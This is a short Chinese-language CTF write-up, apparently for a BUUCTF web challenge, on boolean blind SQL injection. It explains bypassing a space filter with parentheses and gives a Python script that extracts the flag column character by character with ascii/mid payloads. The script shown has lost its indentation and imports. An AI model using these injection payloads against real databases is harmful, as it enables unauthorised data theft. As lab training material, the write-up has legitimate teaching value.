页面打开如上
获取到信息 flag在flag表中的flag列中
尝试注入
发现对用户的输入进行了限制
使用burp进行fuzz测试
其中535代表该页面对该条件进行了过滤
其中括号并没有被过滤 所以可以利用括号来代替空格
进行盲注 已知f的ascii码为102
构筑等式 (select(ascii(mid(flag,1,1))==102)from(flag))来判断该字符是什么 如果字符为ascii(102)也就是字符f 返回页面为
其中mid函数来标识flag列中从1开始步长为1的元素如果与102匹配就返回值1
至此我们可以写一个脚本来实现爆破
def sqlinjection():
url='http://053354a0-0d05-4f36-bf56-58ee332c1e42.node5.buuoj.cn:81/'
# header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0'}
str=string.printable
for i in range(60):
for j in str:
data={
'id':f'(select(ascii(mid(flag,{i},1))={ord(j)})from(flag))'
}
time.sleep(1)
recv=requests.post(url=url,data=data).text
if 'Hello'in recv:
print(j,end='')
string.printable函数将返回所有可打印的值 再通过ord函数转化为10进制进行比较 一个字母一个字母的进行爆破
得到flag